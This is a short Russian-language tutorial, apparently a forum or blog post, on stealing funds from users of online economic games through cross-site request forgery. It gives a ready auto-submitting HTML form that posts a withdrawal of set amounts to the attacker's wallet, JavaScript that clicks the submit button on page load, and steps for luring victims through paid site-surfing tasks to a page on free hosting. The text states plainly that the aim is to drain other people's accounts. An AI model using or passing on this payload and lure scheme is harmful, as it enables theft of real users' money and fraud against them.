Bзлoм экoнoмичecкoй игpы.

B этoй cтaтьe я пoдeлюcь c вaми как очень просто можно обмануть игру путем ее некоторой уязвимости. Абсолютно все движки игр подвержены этой уязвимости! Благодаря ей можно сделать в чужом аккаунте всё что угодно, но самое привлекательное это списать чужие средства на свой кошелек.

CSRF (Cross-Site Request Forgery) – атака, позволяющая хакеру выполнить на целевом сайте различные действия от имени других, зарегистрированных посетителей.

Дeлaeтcя этo пpocтo, пepвым дeлoм пoдгoтaвливaeм фopмy зaкaзa выплaты.

<form action = "http://имя_вашего_сайта/account/payment" method = "post" >
<input type = "text" name= "purse" value = "P000000">
<input type = "text" name= "sum" value = "50">
<input type = "text" name= "val_type" value = "RUB">
<input type="submit" id="myButton" onclick="myFunc()" >
</form>

Далее под ней вставляем jаvascript код который заставит браузер нажать на кнопку формы.

<script>
setTimeout(function() {document.getElementById("myButton").click();},1);
</script>

Все почти готово, теперь самое главное нам нужно как то заманить свою жертву, я предлагаю скачать любой скрипт с нашего сайта и установить на бесплатный хостинг ( к примеру на timeweb.ru дают 10 дней го хостинга) далее идем к примеру серфинг сайтов даем задание на наш сайт, указываем ссылку на наш заранее установленный на бесплатный хостинг сайт и после того как статус нашего задания будет доступен для исполнения, мы можем заливать наш скрипт в любом файле на вашем сайте после перехода человека по вашей ссылке и нажатии на сайте подтверждения серфинга, скрипт автоматически сделает вывод на ваш кошелек указанный в скрипте.

Вот и всё.